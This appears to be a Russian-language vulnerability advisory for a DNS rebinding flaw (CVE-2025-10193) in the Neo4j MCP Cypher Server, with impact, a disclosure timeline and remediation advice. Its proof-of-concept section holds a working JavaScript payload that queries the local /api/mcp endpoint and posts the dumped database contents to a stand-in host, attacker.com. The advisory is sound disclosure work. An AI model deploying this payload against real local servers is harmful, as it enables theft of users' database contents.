Сервер Neo4j MCP Cypher уязвим к захвату базы данных через DNS rebinding
Автор: Evan Harris
Затронутый компонент: Neo4j MCP Cypher Server
Уязвимые версии: 0.2.2 до 0.3.1
CVE: CVE-2025-10193
Оценка CVSS 4.0: 7.4 (Высокая) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Обзор
Сервер Neo4j MCP Cypher предоставляет HTTP-эндпоинт для выполнения Cypher-запросов к базе данных Neo4j.
MCPSec обнаружила уязвимость DNS rebinding в сервере, которая позволяет удалённым злоумышленникам обходить политики безопасности браузера и выполнять произвольные Cypher-запросы к доступному через MCP экземпляру базы данных.
Neo4j устранила эту проблему в релизе v0.4.0. Всем пользователям затронутых версий следует немедленно обновиться.
Воздействие
Злоумышленники получают полный POST-доступ к эндпоинту /api/mcp, предоставляемому локальным сервером Neo4j MCP Cypher.
Это открывает возможность несанкционированного выполнения любых Cypher-запросов, фактически предоставляя злоумышленнику полный административный контроль над базой данных Neo4j. Это может привести к следующему:
- Полная экфильтрация конфиденциальной информации, хранящейся в базе данных.
- Несанкционированное изменение данных или их повреждение.
- Удаление данных и отказ в обслуживании.
Атака DNS rebinding может быть выполнена в течение нескольких секунд после того, как жертва посетит вредоносный сайт, и требует лишь того, чтобы уязвимый сервер был запущен локально.
Proof of Concept
Сценарий атаки предполагает следующее:
- Жертва запускает уязвимую версию сервера Neo4j MCP Cypher на своём локальном компьютере.
- Жертва переходит на вредоносный сайт, контролируемый злоумышленником.
- Сайт выполняет атаку DNS rebinding, вынуждая браузер жертвы отправлять команды на сервер Neo4j.
После завершения rebinding злоумышленник может использовать браузер жертвы для отправки вредоносных Cypher-запросов на локально обслуживаемый эндпоинт /api/mcp. Затем данные могут быть извлечены на сервер злоумышленника, либо может быть выполнено изменение и удаление данных.
MCPSec провела атаку в формате proof of concept, выполнив следующие шаги:
-
Разверните приложение для DNS rebinding (например, Singularity of Origin).
-
Создайте JavaScript-payload, доставляемый вредоносным сайтом, для выполнения запроса и извлечения данных.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Запустите сервер сбора данных, чтобы принять POST-запрос, содержащий украденное содержимое базы данных.
Ниже приведён пример JSON-данных, извлечённых из базы данных жертвы, содержащих потенциально конфиденциальную информацию о пользователях.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Рекомендуемые меры по устранению
Для пользователей (немедленно)
- Немедленно обновите
mcp-neo4j-cypherдо версии v0.4.0 или новее. Эта версия содержит патч, который проверяет HTTP-заголовокHostдля предотвращения данной атаки. - Если обновление невозможно, переключитесь с HTTP на stdio. В качестве альтернативы установите фильтр сетевых запросов перед вашим сервером Neo4j Cypher MCP для защиты от недействительных заголовков Host.
Эта уязвимость была сообщена команде Neo4j в рамках практик ответственного раскрытия. Команда быстро отреагировала, чтобы проверить и исправить проблему.
Хронология раскрытия
- 2025-09-08: Neo4j подтверждает получение отчёта.
- 2025-09-09: Neo4j признаёт риск, связанный с вектором атаки.
- 2025-09-09: Команде Neo4j предоставлены подробные рекомендации и примеры устранения.
- 2025-09-09: Neo4j создаёт pull request с защитными мерами.
- 2025-09-11: Выпущена исправленная версия v0.4.0.
- 2025-09-11: Присвоен CVE-2025-10193 и опубликован GitHub Security Advisory.
- 2025-09-12: Согласована дата публикации технического бюллетеня безопасности.
- 2025-10-13: Опубликован технический бюллетень безопасности.
Заключение
Уязвимость DNS rebinding в сервере Neo4j MCP Cypher подчёркивает высокий риск безопасности для инструментов разработчика, которые предоставляют доступ к локальным интерфейсам баз данных. Предоставляя мощную локальную функциональность, такие сервисы могут стать шлюзом для веб-атак, если они не защищены должным образом. Это может привести к полной компрометации конфиденциальных данных.
Выражаем признательность команде Neo4j за профессиональную и оперативную реакцию при устранении этой уязвимости. Всем пользователям затронутого компонента следует обновиться до последней версии, чтобы обеспечить защиту своих данных.